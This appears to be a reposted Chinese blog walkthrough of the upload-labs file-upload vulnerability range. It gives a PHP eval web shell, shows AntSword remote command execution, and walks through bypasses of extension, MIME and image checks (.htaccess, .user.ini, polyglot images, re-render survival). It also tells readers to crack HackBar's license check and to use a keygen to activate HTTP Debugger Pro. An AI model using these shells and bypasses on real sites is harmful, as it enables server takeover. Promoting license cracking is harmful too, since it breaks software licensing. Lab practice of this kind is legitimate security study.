0


upload-labs通关

最近,我有个朋友老是反映部署的网站老是被黑客攻击,我看了下就是普通的PHP框架搭建的网站,经过一番排除也清除了木马。为此我专门花1天时间研究一下文件上传漏洞,知己知彼方能百战百胜。这里我选择了一个开源的靶场upload-labs。

测试环境部署

游览器插件下载地址

Cookie-Editor:https://chrome.google.com/webstore/detail/hlkenndednhfkekhgcdicdfddnkalmdm

HackBar:

https://hackbar.herokuapp.com/

使用

everything

搜索

hackbar-panel.js

文件的位置,注释或删除以下代码即可过限制:

chrome.storage.local.get(['license'],function(result){...});

upload-labs项目部署

upload-labs项目地址:

https://github.com/c0ny1/upload-labs

下载源码后放入入phpstudy的WWW目录中并启动Apache服务器即可完成部署。

phpstudy下载地址:https://www.xp.cn/

启动后:

image-20221019190049607

网站界面可以创建更多的站点和对应的根目录位置。

image-20221019190446478

然后可以访问项目:

image-20221019190819737

中国蚁剑

源码下载地址:https://github.com/AntSwordProject/antSword

加载器下载:https://gitee.com/AntSwordProject/AntSword-Loader

使用文档:https://www.yuque.com/antswordproject/antsword/srruro

使用步骤下载加载器,打开加载器点击初始化。选择一个空目录则自动下载源码后加载,选择一个现成的源码则直接加载完毕。

image-20221019191821800

抓包工具HTTP Debugger

我使用HTTP Debugger Pro v9.11,下载地址:https://pan.baidu.com/s/12fsnle4-idzzF_yx9DwIog?pwd=qum2

安装步骤:

  • 安装HTTP Debugger Pro v9.11.msi,安装完成后断开网络
  • 运行HTTP Debugger Pro KeyGen By DSiDERS.exe点击Activate注册激活后,启动网络
  • HTTPDebuggerUI_zh.exe放入安装目录,以后用它启动HTTP Debugger

通关开始

第一关 过前端js校验

第一关自然是最简单的,我编写的php脚本为:

<?phpheader("Content-type:text/html; charset=gbk");echo"<pre>";
    @eval($_POST['xxm']);?>

例如命名为

shell.php

上述代码的最简形式:

<?phpeval($_POST['xxm']);?>

关于eval的作用可以查看:https://www.php.net/eval

我们只需要通关开发者工具中的设置 禁用JavaScript 或者 在控制台执行:

checkFile=function(){};

即可将校验逻辑置空,然后就可以顺利的上传该文件。上传成功后,我们就相当于给目标植入了木马。

上传后,我们可以复制图片地址:

image-20221019192928628

然后就可以通过该地址对目标服务器执行任何系统指令:

image-20221019193616349

关于system函数的说明可以查看:https://www.php.net/system

当然,如果我们使用中国蚁剑来操作会方便的多:

image-20221019194026128

连接密码就是post请求所接收的参数,连接成功后,就可以执行任何操作。

双击目标可以查看文件目录,甚至上传下载文件:

image-20221019194328121

右击打开虚拟终端可以手动执行任何命令:

image-20221019194220487

可以看到,只要我们的服务器中了这种木马等于整个服务器都彻底被黑了。

第二关 过后端MIME校验

这次不仅前端会校验,后端也会校验是否为图片类型的MIME。

我们打开抓包工具,过前端校验后上传

shell.php

。虽然上传失败,但是已经发出了包并被HTTPDebugger截获请求信息:

image-20221019195535942

在post请求的具体内容中可以看到游览器生成的MIME类型:

Content-Type: application/octet-stream

我们只需重发一遍刚才截获的请求,并修改MIME类型:

Content-Type: image/jpeg

我们再选中该请求的状态下点击编辑并重新提交:

image-20221019200110653

然后切换到标头,删除多余内容后,点击提交:

image-20221019200452553

然后我们可以看到上传成功:

image-20221019200633499

第3-10关 文件名后缀校验

这8关都是对文件名后缀的校验,每关对文件名后缀的校验都存在不同的漏洞。

各关在扩展名的全面性上升级:

  • 第3关:禁止上传 .asp|.aspx|.php|.jsp后缀文件!
  • 第4关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
  • 第5关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!
  • 第6关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess|.ini后缀文件!

后端的前置处理逻辑:

$file_name=trim($_FILES['upload_file']['name']);//文件名首尾去空$file_name=deldot($file_name);//删除文件名末尾的点$file_ext=strrchr($file_name,'.');$file_ext=strtolower($file_ext);//转换为小写$file_ext=str_ireplace('::$DATA','',$file_ext);//去除字符串::$DATA$file_ext=trim($file_ext);//扩展名首尾去空

第6关虽然对扩展名检测全面,但是少了将扩展名转换为小写,所以可以通过PHP大写的扩展名通过检测,例如

shell.PHP

第3关表示在apache的httpd.conf中有如下配置代码:AddType application/x-httpd-php .php .phtml .phps .php5 .pht时存在的漏洞,使用php的等价扩展名php5即可过关。

第4关表示

Hypertext Access

(超文本入口)存在的漏洞,

.htaccess

文件也被成为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

用法:

AddType application/x-httpd-php .jpg

,代表

.jpg

文件会当做

php

来解析。

SetHandler application/x-httpd-php

,代表所有的文件都会当做

php

来解析。

开启

Hypertext Access

,需要在apache的httpd.conf文件中开启

mod_rewrite

模块,配置文件中

LoadMoudle rewrite_module module modules/mod_rewrite.so AllowOverride All

,同时需要将所有的AllowOverride none改为AllowOverride All。

先上传一个

png

的内容为

<?php eval($_POST['xxm']);?>

,再上传文件内容为

SetHandler application/x-httpd-php

.htaccess

文件即可。

第5关利用用户自定义的配置文件自动包含代码,上传一个以

auto_propend_file=1.gif

为内容的.user.ini文件,表示所有的php文件都自动包含1.gif文件,

.user.ini

相当于一个用户自定义的php.ini,再上传一个内容为

<?php phpinfo();?>

的命名为1.gif的文件。

这时我们访问

http://localhost/upload/readme.php

该文件就会包含

1.gif

的代码。

第789关原本可以通过借助抓包工具给文件名增加一个空格、一个点和

::$DATA

绕过,但是本人测试出现移动文件异常,提示上传出错或即使上传成功也并没有去掉相应字符解析,说明现在新版的php已经不存在这些漏洞。

第14-17关 校验是否为图片

  • 第14关仅读取文件前2个字节判断是否为图片
  • 第15关使用getimagesize函数读取图片大小判断是否为图片
  • 第16关使用exif_imagetype函数检查是否为图片文件
  • 第17关使用imagecreatefromjpeg函数重新渲染生成图片

第14关可以上传内容为

GIF89ad<?php eval($_POST['xxm']);?>

的php文件,可惜服务器返回的图片地址为http://localhost/upload/5420221019220900.gif,已经修改为图片扩展名,无法直接作为php脚本解析。

第15-16关向正常图片追加php脚本后再上传。

准备一个普通图片文件

t.gif

,windows的合并命令:

copy t.gif /b + a.php /a a.gif

Linux:

cat t.gif a.php > a.gif

然后上传a.gif,得到图片地址:http://localhost/upload/5520221019221956.gif

此时可以使用文件包含漏洞,有一个可以包含指定文件脚本

include.php

存在,代码内容:

<?php/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/header("Content-Type:text/html;charset=utf-8");$file=$_GET['file'];if(isset($file)){include$file;}else{show_source(__file__);}?>

于是我们可以通过该脚本包含图片中的代码,下面访问http://localhost/include.php?file=upload/5520221019221956.gif。测试连接成功:

image-20221019222323745

http://localhost/include.php?file=upload/5420221019220900.gif也测试成功。

第17关上传上面图片,代码会因二次渲染自动被删除,我们需要制作二次渲染后代码依然能够被保留的图片。这里我使用winhex打开图片,寻找连续的00最多的地方:

image-20221019224322469

然后用winhex打开php脚本文件并复制:

image-20221019224427668

然后在连续的00最多的地方选中第一个0并粘贴:

image-20221019224601779

然后删除前面完全相同长度的字节数保持文件大小不变:

image-20221019224739667

保存后,图片整体颜色大幅度被改变:

image-20221019224949683

然后我们上传处理后的图片,保存被2次渲染的图片,用文本编辑器查看,可以看到代码依然被保留:

image-20221019225215430

最终也成功连接。

其他关卡有兴趣研究的童鞋可以自行研究。

标签: 安全 chrome 前端

本文转载自: https://blog.csdn.net/as604049322/article/details/127418017
版权归原作者 小小明-代码实体 所有, 如有侵权,请联系我们删除。

“upload-labs通关”的评论:

还没有评论